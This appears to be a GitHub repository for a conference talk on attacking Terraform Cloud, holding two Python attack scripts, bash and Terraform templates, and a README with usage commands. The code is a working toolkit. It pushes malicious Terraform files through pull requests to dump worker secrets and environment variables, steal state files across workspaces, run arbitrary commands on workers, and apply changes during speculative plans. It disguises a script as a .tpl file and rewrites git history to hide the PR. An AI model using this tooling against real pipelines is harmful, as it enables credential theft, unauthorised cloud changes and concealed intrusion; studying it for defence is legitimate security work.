├── LICENSE ├── PR_attack.py ├── README.md ├── TF_attack.py ├── demos ├── demo1.gif ├── demo2.gif └── demo3.gif └── templates ├── apply_on_plan.sh ├── backend.tf ├── exec_command.tf ├── get_all_envs.tf ├── provider_template.tf ├── retrieve_state_file.sh └── s3_bucket.tf /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Mike Ruth 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PR_attack.py: -------------------------------------------------------------------------------- 1 | ### Variable Info ### 2 | # the "repo" argument is the git repo of a TF workspace that is going to be cloned and targeted by these attacks 3 | # the "folder" argument is the name of the directory within the git repo that holds the .tf files 4 | # "tmp folder" is the parent directory where the targeted repository is being cloned to. 5 | # So the full path looks something like: 6 | # .../tmp/repo/folder 7 | ### 8 | 9 | import argparse 10 | import os 11 | import subprocess 12 | from string import Template 13 | import tempfile 14 | import shutil 15 | import sys 16 | import re 17 | 18 | # This will be the name of the temporal branch used to commit the malicious code 19 | TMP_BRANCH = "SEC-0000" 20 | SCRIPT_PATH = "" 21 | 22 | def get_script_path(): 23 | return os.path.dirname(os.path.realpath(sys.argv[0])) 24 | 25 | # It checks if the git binary is present in the system 26 | def check_git_binary(): 27 | try: 28 | output = subprocess.getoutput("git --version") 29 | print("[+] Found git client, %s" % output.split('\n')[0]) 30 | return True 31 | except FileNotFoundError as f: 32 | return False 33 | 34 | # It creates a temporal folder that will be used to clone the target repository and add the malicious tf code 35 | def setup_temp_folder(repo): 36 | tmp_folder = tempfile.mkdtemp() 37 | print(f"[+] Created temporal folder {tmp_folder}") 38 | 39 | # First we clone the repository 40 | print(f"[+] Cloning repository {repo}") 41 | output = subprocess.getoutput(f"git clone --progress {repo} {tmp_folder}") 42 | 43 | if not "done" in output: 44 | print(f"[!] It seems like there is some issue cloning the repo you provided, check it manually:\ngit clone {repo}") 45 | shutil.rmtree(tmp_folder) 46 | exit(-1) 47 | 48 | # Second, we create a branch to add the malicious files 49 | print(f"[+] Creating branch {TMP_BRANCH}") 50 | os.chdir(tmp_folder) 51 | output = subprocess.getoutput(f"git branch -a") 52 | if re.search(TMP_BRANCH, output) != None: 53 | print(f"[!] {TMP_BRANCH} already exists, you can delete it with the following command:") 54 | print(f"cd {tmp_folder}; git push origin --delete {TMP_BRANCH}; cd -") 55 | #TODO: Remove this 56 | subprocess.getoutput(f"cd {tmp_folder}; git push origin --delete {TMP_BRANCH}; cd -") 57 | #exit(-1) 58 | subprocess.getoutput(f"git checkout -b {TMP_BRANCH}") 59 | 60 | return tmp_folder 61 | 62 | # Attack 1 - exfil all env vars into TF plan results 63 | # TODO - add option to exfil to an external host 64 | def get_all_envs(tmp_folder, terraform_folder): 65 | # Copying template to temp folder 66 | src_file = os.path.join(SCRIPT_PATH, "templates/get_all_envs.tf") 67 | # We use a name that is generic but unique 68 | dst_file = os.path.join(tmp_folder, terraform_folder, "template_instance000.tf") 69 | print(f"[+] Copying template file from {src_file} to {dst_file}") 70 | shutil.copy(src_file, dst_file) 71 | # We add the file performing the attack 72 | print("[+] Commiting get_all_envs locally") 73 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "template_instance000.tf")) 74 | output = subprocess.getoutput("git commit -m 'Testing TF plan for template instance'") 75 | print("[+] Pushing get_all_envs commit to origin") 76 | output = subprocess.getoutput("git push origin " + TMP_BRANCH) 77 | url_pr = re.search(f"http.*{TMP_BRANCH}", output).group(0) 78 | return url_pr 79 | 80 | def exec_command(tmp_folder, terraform_folder, command): 81 | # Copying template to temp folder 82 | src_file = os.path.join(SCRIPT_PATH, "templates/exec_command.tf") 83 | # We use a name that is generic but unique 84 | dst_file = os.path.join(tmp_folder, terraform_folder, "template_instance001.tf") 85 | print(f"[+] Copying template file from {src_file} to {dst_file}") 86 | shutil.copy(src_file, dst_file) 87 | 88 | s = Template(open(dst_file, "r").read()) 89 | template_filled = s.substitute(command=command) 90 | open(dst_file, "w").write(template_filled) 91 | 92 | # We add the file performing the attack 93 | print("[+] Commiting the template locally") 94 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "template_instance001.tf")) 95 | output = subprocess.getoutput("git commit -m 'Testing TF plan for template instance'") 96 | print("[+] Pushing exec_command commit to origin") 97 | output = subprocess.getoutput("git push origin " + TMP_BRANCH) 98 | url_pr = re.search(f"http.*{TMP_BRANCH}", output).group(0) 99 | return url_pr 100 | 101 | def apply_on_plan(tmp_folder, terraform_folder, tf_file_to_apply): 102 | # Copying template to execute a command 103 | src_file = os.path.join(SCRIPT_PATH, "templates/exec_command.tf") 104 | # We use a name that is generic but unique 105 | dst_file = os.path.join(tmp_folder, terraform_folder, "template_instance002.tf") 106 | print(f"[+] Copying template file from {src_file} to {dst_file}") 107 | shutil.copy(src_file, dst_file) 108 | 109 | s = Template(open(dst_file, "r").read()) 110 | # The command we will run is a bash script 111 | template_filled = s.substitute(command="bash instance.tpl") 112 | open(dst_file, "w").write(template_filled) 113 | 114 | # We add the "malicious tf file" 115 | src_file = os.path.join(SCRIPT_PATH, tf_file_to_apply) 116 | dst_file = os.path.join(tmp_folder, terraform_folder, "template_instance003") 117 | print(f"[+] Copying template file from {src_file} to {dst_file}") 118 | shutil.copy(src_file, dst_file) 119 | 120 | # We add the bash script that performs the apply 121 | # Pretend the malicious script is a .tpl file 122 | src_file = os.path.join(SCRIPT_PATH, "templates/apply_on_plan.sh") 123 | dst_file = os.path.join(tmp_folder, terraform_folder, "instance.tpl") 124 | print(f"[+] Copying template file from {src_file} to {dst_file}") 125 | shutil.copy(src_file, dst_file) 126 | 127 | # We add the file performing the attack 128 | print("[+] Commiting the template locally") 129 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "template_instance002.tf")) 130 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "template_instance003")) 131 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "instance.tpl")) 132 | output = subprocess.getoutput("git commit -m 'Testing TF plan for template instance'") 133 | print("[+] Pushing commit to origin") 134 | output = subprocess.getoutput("git push origin " + TMP_BRANCH) 135 | url_pr = re.search(f"http.*{TMP_BRANCH}", output).group(0) 136 | return url_pr 137 | 138 | def get_state_file(tmp_folder, terraform_folder, workspace=None): 139 | # Copying template to execute a command 140 | src_file = os.path.join(SCRIPT_PATH, "templates/exec_command.tf") 141 | # We use a name that is generic but unique 142 | dst_file = os.path.join(tmp_folder, terraform_folder, "template_instance002.tf") 143 | print(f"[+] Copying template file from {src_file} to {dst_file}") 144 | shutil.copy(src_file, dst_file) 145 | 146 | s = Template(open(dst_file, "r").read()) 147 | # The command we will run is a bash script 148 | if workspace != None: 149 | command = f"bash instance.tpl {workspace}" 150 | template_filled = s.substitute(command=command) 151 | else: 152 | template_filled = s.substitute(command="bash instance.tpl") 153 | open(dst_file, "w").write(template_filled) 154 | 155 | # We add the bash script that performs the tf statefile exfil 156 | # Pretend the malicious script is a .tpl file 157 | src_file = os.path.join(SCRIPT_PATH, "templates/retrieve_state_file.sh") 158 | dst_file = os.path.join(tmp_folder, terraform_folder, "instance.tpl") 159 | print(f"[+] Copying template file from {src_file} to {dst_file}") 160 | shutil.copy(src_file, dst_file) 161 | 162 | # We add the file performing the attack 163 | print("[+] Commiting the template locally") 164 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "template_instance002.tf")) 165 | output = subprocess.getoutput("git add " + os.path.join(terraform_folder, "instance.tpl")) 166 | output = subprocess.getoutput("git commit -m 'Testing TF plan for template instance'") 167 | print("[+] Pushing commit to origin") 168 | output = subprocess.getoutput("git push origin " + TMP_BRANCH) 169 | url_pr = re.search(f"http.*{TMP_BRANCH}", output).group(0) 170 | return url_pr 171 | 172 | # To be a bit more sneaky we commit a couple times so it's not as easy to see the malicious code in the PR 173 | def rewrite_history(tmp_folder, terraform_folder): 174 | # First commit 175 | fake_template = """ 176 | resource "aws_ec2_host" "template_instance" { 177 | instance_type = "c5.large" 178 | availability_zone = "us-west-2a" 179 | } 180 | """ 181 | open(os.path.join(terraform_folder, "template_instance000.tf"), "w").write(fake_template) 182 | subprocess.getoutput("git add nullprovider/template_instance000.tf") 183 | subprocess.getoutput("git commit -m 'Adding EC2 template'") 184 | print("[+] Pushing one commit replacing the malicious template") 185 | subprocess.getoutput("git push origin SEC-0000") 186 | 187 | # Second commit 188 | fake_template = """ 189 | resource "aws_ec2_host" "template_instance" { 190 | instance_type = "c4.large" 191 | availability_zone = "us-west-2a" 192 | } 193 | """ 194 | open(os.path.join(terraform_folder, "template_instance000.tf"), "w").write(fake_template) 195 | subprocess.getoutput("git add nullprovider/template_instance000.tf") 196 | subprocess.getoutput("git commit -m 'Changing instance size to c4'") 197 | print("[+] Pushing one commit with a fake fix") 198 | subprocess.getoutput("git push origin SEC-0000") 199 | 200 | # Reset HEAD and force push to rewrite history 201 | subprocess.getoutput("git fetch origin && git reset --hard origin/main") 202 | print("[+] Rewriting history, this will automatically close the PR") 203 | subprocess.getoutput("git push --force origin SEC-0000") 204 | 205 | def parse_args(): 206 | arg_parser = argparse.ArgumentParser() 207 | arg_parser.add_argument('--repo', type=str, help="Github repository (SSH url) that is going to be targeted", required=True) 208 | arg_parser.add_argument('--folder', type=str, help="Folder in the repo that contains the terraform files where you wish the attack to take place", required=True) 209 | attack = arg_parser.add_mutually_exclusive_group(required=True) 210 | attack.add_argument('--get_envs', action='store_true', help="This retrieves the environment variables from a TF workspaces") 211 | attack.add_argument('--get_state_file', action='store_true', help="This retrieves the state file of the current TF workspace through a TF plan; useful when the user doesn't have permissions to access the state file") 212 | attack.add_argument('--get_state_file_from_workspace', type=str, help="This retrieves the state file of a supplied workspace name through a TF plan; useful when the user doesn't have permissions to access the state file") 213 | attack.add_argument('--exec_command', type=str, help="Runs a command in the container used to run the speculative plan, useful to access TFC infra and access Cloud metadata if misconfigured") 214 | attack.add_argument('--apply_on_plan', type=str, help="Apply on plan an specified tf file") 215 | return arg_parser.parse_args() 216 | 217 | def main(): 218 | args = parse_args() 219 | global SCRIPT_PATH 220 | SCRIPT_PATH = get_script_path() 221 | if not check_git_binary(): 222 | print("git binary not found in your system") 223 | exit(-1) 224 | 225 | # Create a temp folder to use it during the attack 226 | tmp_folder = setup_temp_folder(args.repo) 227 | 228 | if args.get_envs: 229 | url_pr = get_all_envs(tmp_folder, args.folder) 230 | elif args.exec_command: 231 | url_pr = exec_command(tmp_folder, args.folder, args.exec_command) 232 | elif args.apply_on_plan: 233 | url_pr = apply_on_plan(tmp_folder, args.folder, args.apply_on_plan) 234 | elif args.get_state_file: 235 | url_pr = get_state_file(tmp_folder, args.folder) 236 | elif args.get_state_file_from_workspace: 237 | url_pr = get_state_file(tmp_folder, args.folder, args.get_state_file_from_workspace) 238 | 239 | # Show to the user the URL to create a Github PR 240 | print("[!] Visit the following URL to complete the PR that will trigger the TF attack") 241 | if args.get_envs or args.exec_command: 242 | print("[!] Once the PR is created, view the TF plan results for your environment variables") 243 | print(url_pr) 244 | 245 | # ToDo: Tell the user to check for the output 246 | # ToDo : Ask user if he/she wants to rewrite history to delete what we did 247 | # (Do that only after the PR has been submmited) 248 | answer = input("Press any key when you have finished the plan to begin cleanup") 249 | rewrite_history(tmp_folder, args.folder) 250 | 251 | # Remove temporal folder 252 | shutil.rmtree(tmp_folder) 253 | 254 | if __name__ == "__main__": 255 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This repository contains scripts to demonstrate the vulnerabilities shown in our associated talk: [Attacking and Defending Infrastructure with Terraform: How we got admin across cloud environments](https://docs.google.com/presentation/d/18wF-NMqr5-0nC4O8MfFi_mU3F1cx1L3vLHH6Dc6w4Q8/). 2 | 3 | There are two scenarios where you can use these scripts: 4 | * When you don't have access to TFC/TFE, or you don't have a token, but **you can create a PR** to a github repository linked to TFC/TFE and speculative plans are run automatically. 5 | * When you can **have access to a Terraform Cloud workspace** and you have a valid token to do so. 6 | 7 | 8 | ## Scenario 1: You can create a PR in a VCS linked with TFC/TFE 9 | For this scenario use the script: **PR_attack.py**. 10 | 11 | Note: You still needs access to TFC in order to read the output of the attacks. But they could also execute arbitrary commands and exfiltrate the results to a C2 they control. 12 | 13 | ### Exfiltrate secrets 14 | Access the secrets from the environment variables. 15 | ```sh 16 | python3 PR_attack.py 17 | --repo "git@github.com:CryptoExchangeCo/website.git" 18 | --folder "dev" 19 | --get_envs 20 | ``` 21 | Demo 22 | 23 | ![Demo 1](demos/demo1.gif) 24 | 25 | ### Retrieve the state file 26 | Get the state file for the current workspace. 27 | ```sh 28 | python3 PR_attack.py 29 | --repo "git@github.com:CryptoExchangeCo/website.git" 30 | --folder "dev" 31 | --get_state_file 32 | ``` 33 | 34 | ### Retrieve the state file for a different workspace 35 | Get the state file for a different workspace in the same organization. 36 | ```sh 37 | python3 PR_attack.py 38 | --repo "git@github.com:CryptoExchangeCo/website.git" 39 | --folder "dev" 40 | --get_state_file_from_workspace "website_prod" 41 | ``` 42 | Demo 43 | 44 | ![Demo 2](demos/demo2.gif) 45 | 46 | 47 | ### Apply on plan 48 | It performs an apply on plan using a tf file as an input. 49 | ```sh 50 | python3 PR_attack.py 51 | --repo "git@github.com:CryptoExchangeCo/website.git" 52 | --folder "dev" 53 | --apply_on_plan "templates/s3_bucket.tf" 54 | ``` 55 | Demo 56 | 57 | ![Demo 3](demos/demo3.gif) 58 | 59 | 60 | ### Execute arbitrary command 61 | Execute an arbitrary command in the TF worker. 62 | ```sh 63 | python3 PR_attack.py 64 | --repo "git@github.com:CryptoExchangeCo/website.git" 65 | --folder "dev" 66 | --exec_command "id;env;hostname" 67 | ``` 68 | 69 | ## Scenario 2: Access to TFC/TFE 70 | For this scenario use the script: **TF_attack.py**. 71 | 72 | The usage is very similar to the previous scenario. To retrieving secrets from environment variables you will run: 73 | ```sh 74 | python3 TF_attack.py 75 | --hostname "app.terraform.io" 76 | --organization "CryptoExchangeCo" 77 | --workspace "website_dev" 78 | --get_envs 79 | ``` 80 | -------------------------------------------------------------------------------- /TF_attack.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | import sys 4 | import subprocess 5 | import json 6 | from string import Template 7 | import tempfile 8 | import shutil 9 | import glob 10 | import re 11 | 12 | VERBOSE=False 13 | SCRIPT_PATH = "" 14 | 15 | def get_script_path(): 16 | return os.path.dirname(os.path.realpath(sys.argv[0])) 17 | 18 | # Check if the terraform binary is present in the system 19 | def check_terraform_binary(): 20 | try: 21 | output = subprocess.check_output("terraform --version".split()) 22 | output = output.decode('ascii') 23 | if VERBOSE: 24 | print(f"[+] Output: {output}") 25 | print("[+] Found terraform client, %s" % output.split('\n')[0]) 26 | return True 27 | except FileNotFoundError as f: 28 | return False 29 | 30 | # Create a temporal folder that will be used by the terraform client. 31 | # It adds to the folder a backend.tf with the TFC/TFE backend properly configured 32 | def setup_temp_folder(hostname, organization, workspace, terraform_folder): 33 | # Using: https://docs.python.org/3.4/library/string.html#template-strings 34 | s = Template(open(os.path.join(os.path.dirname(os.path.realpath(__file__)), "templates/backend.tf")).read()) 35 | backend_str = s.substitute(hostname=hostname, organization=organization, workspace=workspace) 36 | # Temp folder used to execute the terraform commands 37 | tmp_folder = tempfile.mkdtemp() 38 | with open(os.path.join(tmp_folder, 'backend.tf'), "w") as backend: 39 | backend.write(backend_str) 40 | if terraform_folder != "": 41 | os.mkdir(os.path.join(tmp_folder, terraform_folder)) 42 | return tmp_folder 43 | 44 | # Perform a speculative plan to get all the environment variables configured in the workspace. 45 | # Outputs the values of the secrets as null_resource resources 46 | def get_all_envs(tmp_folder, terraform_folder): 47 | # Copying template of the attack to temp folder 48 | src_file = os.path.join(SCRIPT_PATH, "templates/get_all_envs.tf") 49 | dst_file = os.path.join(tmp_folder, terraform_folder, "get_all_envs.tf") 50 | shutil.copy(src_file, dst_file) 51 | 52 | # Running a speculative plan 53 | targets = ["null_resource.null_tfvars", "null_resource.null_envvars"] 54 | results = run_speculative_plan(tmp_folder, targets) 55 | 56 | # Parsing and printing out the results 57 | print("[+] Terraform Variables from terraform.tfvars:") 58 | for result in re.findall("null_tfvars\" {.*?\n }", results, re.DOTALL): 59 | secret = re.search(" \+ (.*)\n }", result, re.DOTALL).group(1) 60 | print("\t" + secret) 61 | 62 | print("[+] All environment variables used in the worker:") 63 | for result in re.findall("null_envvars\" {.*?\n }", results, re.DOTALL): 64 | secret = re.search(" \+ (.*)\n }", result, re.DOTALL).group(1) 65 | # /proc/self/environ used NULL as a separator and tfc enconded it 66 | secret = secret.replace("\\x00", "\n") 67 | print("\t" + secret) 68 | 69 | # Perform a speculative plan which executes a command from the TF worker. 70 | def exec_command(tmp_folder, terraform_folder, command): 71 | # Copying template of the attack to temp folder 72 | src_file = os.path.join(SCRIPT_PATH, "templates/exec_command.tf") 73 | dst_file = os.path.join(tmp_folder, terraform_folder, "exec_command.tf") 74 | shutil.copy(src_file, dst_file) 75 | 76 | s = Template(open(dst_file, "r").read()) 77 | template_filled = s.substitute(command=command) 78 | open(dst_file, "w").write(template_filled) 79 | 80 | # Running a speculative plan 81 | targets = ["null_resource.null"] 82 | results = run_speculative_plan(tmp_folder, targets) 83 | 84 | #print(results) 85 | # Parsing and printing results from the output of the null resource trigger 86 | result = re.search("output\" = (.*) }", results, re.DOTALL).groups(1)[0] 87 | # The output is a partial json, we replace some characters here but it's not comprensive 88 | result = result.replace("\\n", "\n") 89 | print(f"[+] Output of the command: {result}") 90 | 91 | # Performs a terraform apply during a speculative plan with some hardcoded resources; creates an s3 bucket 92 | def apply_on_plan(tmp_folder, terraform_folder, aws_access_key_variable, aws_secret_key_variable): 93 | # We add the "malicious tf file" which will create an AWS S3 bucket 94 | src_file = os.path.join(SCRIPT_PATH, "templates/s3_bucket.tf") 95 | dst_file = os.path.join(tmp_folder, terraform_folder, "template_s3_bucket") 96 | print(f"[+] Copying template file from {src_file} to {dst_file}") 97 | shutil.copy(src_file, dst_file) 98 | 99 | # We add the bash script that performs the apply 100 | # Pretend the malicious script is a .tpl file 101 | src_file = os.path.join(SCRIPT_PATH, "templates/apply_on_plan.sh") 102 | dst_file = os.path.join(tmp_folder, terraform_folder, "apply_on_plan.sh") 103 | print(f"[+] Copying template file from {src_file} to {dst_file}") 104 | shutil.copy(src_file, dst_file) 105 | 106 | # Copying the provider and replacing the templated variables 107 | src_file = os.path.join(SCRIPT_PATH, "templates/provider_template.tf") 108 | dst_file = os.path.join(tmp_folder, terraform_folder, "provider") 109 | print(f"[+] Copying template file from {src_file} to {dst_file}") 110 | shutil.copy(src_file, dst_file) 111 | s = Template(open(dst_file, "r").read()) 112 | # The command we will run is a bash script 113 | template_filled = s.substitute(access_key_variable=aws_access_key_variable, secret_key_variable=aws_secret_key_variable) 114 | open(dst_file, "w").write(template_filled) 115 | 116 | # Copying template to execute a command 117 | src_file = os.path.join(SCRIPT_PATH, "templates/exec_command.tf") 118 | dst_file = os.path.join(tmp_folder, terraform_folder, "exec_command.tf") 119 | print(f"[+] Copying template file from {src_file} to {dst_file}") 120 | shutil.copy(src_file, dst_file) 121 | s = Template(open(dst_file, "r").read()) 122 | # The command we will run is a bash script 123 | template_filled = s.substitute(command="bash apply_on_plan.sh") 124 | open(dst_file, "w").write(template_filled) 125 | 126 | # Running a speculative plan 127 | targets = ["null_resource.null"] 128 | results = run_speculative_plan(tmp_folder, targets) 129 | 130 | #print(results) 131 | # Parsing and printing results from the output of the null resource trigger 132 | result = re.search("output\" = (.*) }", results, re.DOTALL).groups(1)[0] 133 | # The output is a partial json, we replace some characters here but it's not comprensive 134 | result = result.replace("\\n", "\n") 135 | print(f"[+] Output of the command: {result}") 136 | 137 | def get_state_file(tmp_folder, terraform_folder, workspace=None): 138 | # Copying template to execute a command 139 | src_file = os.path.join(SCRIPT_PATH, "templates/exec_command.tf") 140 | 141 | dst_file = os.path.join(tmp_folder, terraform_folder, "exec_command.tf") 142 | print(f"[+] Copying template file from {src_file} to {dst_file}") 143 | shutil.copy(src_file, dst_file) 144 | 145 | s = Template(open(dst_file, "r").read()) 146 | # The command we will run is a bash script 147 | if workspace != None: 148 | command = f"bash retrieve_state_file.sh {workspace}" 149 | template_filled = s.substitute(command=command) 150 | else: 151 | template_filled = s.substitute(command="bash retrieve_state_file.sh") 152 | open(dst_file, "w").write(template_filled) 153 | 154 | # We add the bash script that performs the tf statefile exfil 155 | src_file = os.path.join(SCRIPT_PATH, "templates/retrieve_state_file.sh") 156 | dst_file = os.path.join(tmp_folder, terraform_folder, "retrieve_state_file.sh") 157 | print(f"[+] Copying template file from {src_file} to {dst_file}") 158 | shutil.copy(src_file, dst_file) 159 | 160 | # Running a speculative plan 161 | targets = ["null_resource.null"] 162 | results = run_speculative_plan(tmp_folder, targets) 163 | 164 | # Parsing and printing results from the output of the null resource trigger 165 | result = re.search("output\" = (.*) }", results, re.DOTALL).groups(1)[0] 166 | # The output is a partial json, we replace some characters here but it's not comprensive 167 | result = result.replace("\\n", "\n") 168 | print(f"[+] Output of the command: {result}") 169 | 170 | # Runs a speculative plan in TFC/TFE and gets the output 171 | # It handles these scenarios: 172 | # * No valid credentails to run the speculative plan 173 | # * Issues when using a relative folder 174 | def run_speculative_plan(tmp_folder, targets): 175 | 176 | # Targeting around the existing TF state to reduce prerequisite TF resource declaration 177 | targets_args = "" 178 | for target in targets: 179 | targets_args += f"-target={target} " 180 | 181 | command = "terraform init -no-color" 182 | print(f"[+] Executing: {command}") 183 | output = subprocess.run(command.split(), cwd=tmp_folder, stdout=subprocess.PIPE).stdout 184 | output = output.decode('ascii') 185 | if VERBOSE: 186 | print(f"[+] Output: {output}") 187 | 188 | # ToDo: Use a logging library for debug messages 189 | # if debug: 190 | # print(f"[+] Output:" {output}") 191 | if "unauthorized" in output: 192 | print("[!] You are not authorized. Run `terraform login $HOSTNAME`.") 193 | exit(-1) 194 | if not "Terraform has been successfully initialized!" in output: 195 | print("[!] Error running `terraform init` this is unexpected") 196 | exit(-1) 197 | command = f"terraform plan -no-color {targets_args}" 198 | print(f"[+] Executing: {command}") 199 | 200 | output = subprocess.run(command.split(), cwd=tmp_folder, stdout=subprocess.PIPE).stdout 201 | output = output.decode('utf-8') 202 | if VERBOSE: 203 | print(f"[+] Output: {output}") 204 | # This happens when the workspace is configured to use a folder relative to the target repository 205 | # We need to create that folder and move the files there 206 | if "can't cd to /terraform/" in output: 207 | target_dir = re.search("can't cd to /terraform/(.*)", output).group(1) 208 | print(f"[+] Workspace is configured to use a folder relative to the target repository: {target_dir}") 209 | print("[+] Rerun this command with the --folder option, using the directory like so: ") 210 | print(f" --folder {target_dir}") 211 | shutil.rmtree(tmp_folder) 212 | exit(-1) 213 | 214 | # ToDo: Delete this 215 | # # Creating folder 216 | # target_dir = os.path.join(tmp_folder, target_dir) 217 | # os.mkdir(target_dir) 218 | 219 | # # Moving all .tf files to that folder 220 | # for file in glob.glob(tmp_folder + '/*.tf'): 221 | # # We need to leave the backend.tf at the root 222 | # if "backend.tf" in file: 223 | # continue 224 | # shutil.move(file, target_dir) 225 | 226 | # #move all *.tf to target_dir 227 | # command = f"terraform plan -no-color {targets_args}" 228 | # print(f"[+] Executing: {command}") 229 | # output = subprocess.run(command.split(), cwd=tmp_folder, stdout=subprocess.PIPE).stdout 230 | # output = output.decode('ascii') 231 | # if VERBOSE: 232 | # print(f"[+] Output: {output}") 233 | 234 | return output 235 | 236 | def parse_args(): 237 | arg_parser = argparse.ArgumentParser() 238 | arg_parser.add_argument('--hostname', type=str, help="Terraform Cloud or Enterprise URL. eg: https//app.terraform.io", required=True) 239 | arg_parser.add_argument('--organization', type=str, help="Terraform organization", required=True) 240 | arg_parser.add_argument('--workspace', type=str, help="Terraform workspace", required=True) 241 | arg_parser.add_argument('--folder', type=str, help="Folder in the repo that contains the terraform files where you wish the attack to take place", required=False) 242 | arg_parser.add_argument('--verbose', action='store_true', help="It shows the output of the execution of each command") 243 | 244 | attack = arg_parser.add_mutually_exclusive_group(required=True) 245 | attack.add_argument('--get_envs', action='store_true', help="This retrieves the environment variables from a TF workspaces") 246 | attack.add_argument('--get_state_file', action='store_true', help="This retrieves the state file of the current TF workspace through a TF plan; bypasses TF workspace access control") 247 | attack.add_argument('--get_state_file_from_workspace', type=str, help="This retrieves the state file of a supplied workspace name through a TF plan; bypasses TF workspace access control") 248 | attack.add_argument('--exec_command', type=str, help="Runs a command on the TF Worker used to run the speculative plan, useful to access TFC infra and Cloud metadata") 249 | attack.add_argument('--apply_on_plan', action='store_true', help="Perform a TF Apply through a TF Plan") 250 | apply_group = attack.add_argument_group() 251 | apply_group.add_argument('--aws_access_key_variable', type=str, help="Name of env var holding the AWS access key. Use with --apply_on_plan") 252 | apply_group.add_argument('--aws_secret_key_variable', type=str, help="Name of env var holding the AWS secret key. Use with --apply_on_plan") 253 | apply_group.add_argument('--assume_role', action='store_true', help="Use this if TF workers are assuming role of an instance profile. Use with --apply_on_plan") 254 | 255 | return arg_parser.parse_args() 256 | 257 | def main(): 258 | args = parse_args() 259 | global SCRIPT_PATH 260 | SCRIPT_PATH = get_script_path() 261 | 262 | if args.folder == None: 263 | args.folder = "" 264 | 265 | if args.verbose: 266 | global VERBOSE 267 | VERBOSE = True 268 | if not check_terraform_binary(): 269 | # ToDo: Ideally we would point out to the user the same version as the used in the workspace. Not sure how to get this. 270 | print("terraform binary not found in your system. You can download from here: https://www.terraform.io/downloads.html") 271 | exit(-1) 272 | # if not args.token: 273 | # # ToDo: get token from default config path 274 | # args.token = get_atlas_token() 275 | 276 | # Create a temp folder to use it during the attack 277 | tmp_folder = setup_temp_folder(args.hostname, args.organization, args.workspace, args.folder) 278 | print(f"[+] Created temporal folder {tmp_folder}") 279 | 280 | # if not check_token_and_permissions(args.hostname, args.organization, args.workspace): 281 | # exit(-1) 282 | if args.get_envs: 283 | get_all_envs(tmp_folder, args.folder) 284 | elif args.exec_command: 285 | exec_command(tmp_folder, args.folder, args.exec_command) 286 | elif args.apply_on_plan: 287 | apply_on_plan(tmp_folder, args.folder, args.aws_access_key_variable, args.aws_secret_key_variable) 288 | elif args.get_state_file: 289 | get_state_file(tmp_folder, args.folder) 290 | elif args.get_state_file_from_workspace: 291 | get_state_file(tmp_folder, args.folder, args.get_state_file_from_workspace) 292 | 293 | # Remove temporal folder 294 | shutil.rmtree(tmp_folder) 295 | 296 | if __name__ == "__main__": 297 | main() -------------------------------------------------------------------------------- /demos/demo1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/technologik/terraform_attack_automation/a46fc0982de841ef4d61a298dadc20c749f0ad52/demos/demo1.gif -------------------------------------------------------------------------------- /demos/demo2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/technologik/terraform_attack_automation/a46fc0982de841ef4d61a298dadc20c749f0ad52/demos/demo2.gif -------------------------------------------------------------------------------- /demos/demo3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/technologik/terraform_attack_automation/a46fc0982de841ef4d61a298dadc20c749f0ad52/demos/demo3.gif -------------------------------------------------------------------------------- /templates/apply_on_plan.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ ! -d /tmp/newfolder ]; then 3 | mkdir /tmp/newfolder/ 4 | cp -r . /tmp/newfolder/ 5 | cd /tmp/newfolder/ 6 | rm -rf .terraform 7 | rm -f .terraform.lock.hcl 8 | rm ./zzz_* 9 | if [ -f template_s3_bucket ]; then 10 | mv template_s3_bucket template_s3_bucket.tf 11 | fi 12 | if [ -f template_instance003 ]; then 13 | mv template_instance003 template_instance003.tf 14 | fi 15 | if [ -f provider ]; then 16 | mv provider provider.tf 17 | fi 18 | $HOME/bin/terraform init 19 | $HOME/bin/terraform apply -auto-approve -var-file=$HOME/terraform.tfvars 20 | rm -rf /tmp/newfolder 21 | fi 22 | -------------------------------------------------------------------------------- /templates/backend.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | backend "remote" { 3 | hostname = "$hostname" 4 | organization = "$organization" 5 | 6 | workspaces { 7 | name = "$workspace" 8 | } 9 | } 10 | } -------------------------------------------------------------------------------- /templates/exec_command.tf: -------------------------------------------------------------------------------- 1 | data "external" "example" { 2 | program = ["python3", "-c", "import json; import subprocess; print(json.dumps({'output': str(subprocess.getoutput('$command'))}))"] 3 | } 4 | 5 | resource "null_resource" "null" { 6 | triggers = { 7 | output = data.external.example.result.output 8 | } 9 | } -------------------------------------------------------------------------------- /templates/get_all_envs.tf: -------------------------------------------------------------------------------- 1 | resource "null_resource" "null_tfvars" { 2 | triggers = { 3 | tfvars = file("~/terraform.tfvars") 4 | } 5 | } 6 | 7 | # Hashicorp removed this folder at some point in 2022 8 | #resource "null_resource" "null_envvars" { 9 | # for_each = fileset("/env/", "*") 10 | 